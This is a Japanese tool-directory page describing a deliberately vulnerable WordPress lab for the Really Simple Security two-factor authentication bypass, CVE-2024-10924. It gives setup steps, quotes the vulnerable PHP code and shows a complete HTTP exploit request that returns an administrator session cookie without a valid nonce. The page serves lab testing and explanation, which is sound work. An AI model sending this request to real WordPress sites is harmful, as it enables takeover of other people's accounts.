Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
wordpress-really-simple-security-authn-bypass-vulnerable-application — WARNING: これは、Really Simple Security < 9.1.2 の認証バイパス (CVE-2024-10924) のエクスプロイトをテストするための脆弱なアプリケーションです。自己責任で実行してください! | Kitploit
ツール/GitHubGitHub/m3ssap0/wordpress-really-simple-security-authn-bypass-vulnerable-application
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証ラボと実践
GitHubm3ssap0/wordpress-really-simple-security-authn-bypass-vulnerable-application

wordpress-really-simple-security-authn-bypass-vulnerable-application

WARNING: これは、Really Simple Security < 9.1.2 の認証バイパス (CVE-2024-10924) のエクスプロイトをテストするための脆弱なアプリケーションです。自己責任で実行してください!

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
81年前未レビュー

wordpress-really-simple-security-authn-bypass-vulnerable-application

これは、Really Simple Security < 9.1.2 の認証バイパス (CVE-2024-10924) のエクスプロイトをテストするための脆弱性アプリケーションです。

警告!

このアプリケーションには深刻なセキュリティ脆弱性が含まれています。自己責任で実行してください!バックアップ済みで隔離された環境(最近のスナップショットを取得したVMやホストオンリーネットワークなど)での使用を推奨します。このアプリケーションをインターネットに公開されたサーバーにアップロードしないでください。侵害されます。

免責事項: このアプリケーションの使用方法について、私は一切の責任を負いません。このアプリケーションの唯一の目的は、Really Simple Security < 9.1.2 の認証バイパス (CVE-2024-10924) エクスプロイトのテストシナリオとなることであり、悪意を持って使用されるべきではありません。このアプリケーションのインストールによってサーバーが侵害された場合、その責任は私にはなく、アップロードおよびインストールを行った人物にあります。

脆弱性情報

  • CVE-ID: CVE-2024-10924
  • リンク: https://www.cve.org/CVERecord?id=CVE-2024-10924
  • 説明: これにより、認証されていない攻撃者が、「Two-Factor Authentication」設定が有効(デフォルトでは無効)な場合に、管理者などの既存ユーザーとしてログインすることが可能になります。
  • 修正: https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl
  • Wordfence 速報: https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass

使用方法

環境をセットアップする手順は次のとおりです:

  1. ./up.sh を実行してコンポジションを開始します。
  2. ここで WordPress のインストールを完了します: https://localhost:1337/wp-admin/install.php。
  3. WordPress にログインします。
  4. 「Plugins」に移動します: https://localhost:1337/wp-admin/plugins.php。
  5. 「Really Simple Security」プラグインの下にある「Activate」をクリックします。更新しないでください、脆弱性のあるバージョンが必要なためです。
  6. SSL アクティベーションに関するポップアップで「Cancel」をクリックします。
  7. 「Settings」>「Login Protection」>「Two-Factor Authentication」に移動し、「Two-Factor Authentication」セクションで「Enable Two-Factor Authentication」を有効にします。
  8. 「Save」ボタンをクリックします。

コンテナ名は vuln-wp-really-simple-security になります。

環境を破棄するには、./down.sh コマンドを使用します。また、./down_and_delete.sh コマンドを使用すると、イメージとデータベースのボリュームも削除されます。

根本原因

修正 を見ると、脆弱性のあるバージョンでは、無効なログインノンスの場合に check_login_and_get_user() 関数がエラーオブジェクトを返すだけで、操作全体を中断していないことがわかります。

root@kitploit:~
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
    if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
        return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
    }

    /**
     * Get the user by the user ID.
     *
     * @var WP_User $user
     */
    $user = get_user_by( 'id', $user_id );
    return $user;
}

一方、呼び出し元では、check_login_and_get_user() 関数 (277行目) の出力に対してチェックは行われず、ユーザー ID に対して入力から受け取った同じ値をそのまま使用して、authenticate_and_redirect() 関数 (278行目) へ進んでいます。

root@kitploit:~
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
	$parameters = new Rsssl_Request_Parameters( $request );
	// As a double we check the user_id with the login nonce.
	$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
	return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}

エクスプロイト

この脆弱性を悪用するには、次のようなリクエストで十分です。

root@kitploit:~
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive

{
    "user_id": 1,
    "login_nonce": "133333337",
    "redirect_to": "/wp-admin/"
}

その後、返されたセッションクッキーをブラウザに設定します。

user_id は対象ユーザーの ID である必要があります。login_nonce は、間違った値でもプロセスを妨げないため、任意の値で構いません。

Python のエクスプロイトスクリプトは こちら にあります。

作者

  • Antonio Francesco Sardella - 実装 - m3ssap0

ライセンス

このプロジェクトは Unlicense の下でライセンスされています。詳細は LICENSE ファイルを参照してください。

謝辞

  • István Márton、この脆弱性を発見したセキュリティ研究者。
ツールをダウンロード